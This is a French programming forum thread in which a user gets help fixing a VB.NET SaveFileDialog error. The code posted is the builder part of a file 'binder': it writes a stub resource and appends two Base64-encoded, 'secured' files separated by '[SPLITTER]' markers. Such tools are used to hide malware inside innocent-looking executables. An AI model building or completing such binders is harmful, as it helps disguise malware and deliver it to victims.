Probléme en VB.NET [Résolu]
Fermé
Fedor1
Messages postés
7
Date d'inscription
vendredi 5 juillet 2013
Statut
Membre
Dernière intervention
6 juillet 2013
-
Modifié par Fedor1 le 5/07/2013 à 18:22
MrYAU31 Messages postés 3743 Date d'inscription samedi 23 février 2013 Statut Membre Dernière intervention 8 juillet 2017 - 5 juil. 2013 à 18:34
MrYAU31 Messages postés 3743 Date d'inscription samedi 23 février 2013 Statut Membre Dernière intervention 8 juillet 2017 - 5 juil. 2013 à 18:34
A voir également:
- Probléme en VB.NET [Résolu]
- Problème curseur souris incontrolable résolu ✓ - Forum Virus / Sécurité
- Déplacement curseur fou incontrolable ✓ - Forum Windows
- Comment contourner fortinet résolu ✓ - Forum Réseau
- Mon curseur de souris se déplace tout seul! ✓ - Forum souris / Touchpad
- Telecharger vb.net - Télécharger - Langages
5 réponses
MrYAU31
Messages postés
3743
Date d'inscription
samedi 23 février 2013
Statut
Membre
Dernière intervention
8 juillet 2017
1 625
5 juil. 2013 à 18:00
5 juil. 2013 à 18:00
Bonjour,
Tu peux donner un peu plus de code ?
Tu n'as pas déjà appelé ton formulaire avec un Show ?
Tu peux donner un peu plus de code ?
Tu n'as pas déjà appelé ton formulaire avec un Show ?
MrYAU31
Messages postés
3743
Date d'inscription
samedi 23 février 2013
Statut
Membre
Dernière intervention
8 juillet 2017
1 625
5 juil. 2013 à 18:11
5 juil. 2013 à 18:11
Je suppose que ce code est dans une autre form...
Et en ajoutant ce qu'il y a en gras ci-dessous ?
If sfd.ShowDialog() = Windows.Forms.DialogResult.OK
Et en ajoutant ce qu'il y a en gras ci-dessous ?
If sfd.ShowDialog() = Windows.Forms.DialogResult.OK
MrYAU31
Messages postés
3743
Date d'inscription
samedi 23 février 2013
Statut
Membre
Dernière intervention
8 juillet 2017
1 625
5 juil. 2013 à 18:34
5 juil. 2013 à 18:34
Avec plaisir
(ça va, c'était pas compliqué ;-) )
(ça va, c'était pas compliqué ;-) )
Fedor1
Messages postés
7
Date d'inscription
vendredi 5 juillet 2013
Statut
Membre
Dernière intervention
6 juillet 2013
Modifié par Fedor1 le 5/07/2013 à 18:09
Modifié par Fedor1 le 5/07/2013 à 18:09
as tu skype ou autre ?
J'ai cette erreur en gras
Private Sub Thief3Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Thief3Button3.Click
Dim sfd As New SaveFileDialog
With sfd
.FileName = "*.*"
.Title = "Choisir le nouvelle emplacement du fichier..."
.Filter = "All File (*.*)|*.*"
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
If ShowDialog() = Windows.Forms.DialogResult.OK Then
Dim sp As String = "[SPLITTER]"
Dim buffer As Byte() = My.Resources.Stub2
My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)
Dim file1 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
Dim file2 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
System.IO.File.AppendAllText(.FileName, sp & Convert.ToBase64String(file1) & sp & F & sp & Convert.ToBase64String(file2) & sp & F2)
MsgBox("Binder avec succès!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Succès !")
End If
End With
End Sub
End Class
J'ai cette erreur en gras
Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre question
Fedor1
Messages postés
7
Date d'inscription
vendredi 5 juillet 2013
Statut
Membre
Dernière intervention
6 juillet 2013
5 juil. 2013 à 18:22
5 juil. 2013 à 18:22
Merci il fallais mettre If sfd.ShowDialog() = Windows.Forms.DialogResult.OK
Sujet réussi (fermer)
Sujet réussi (fermer)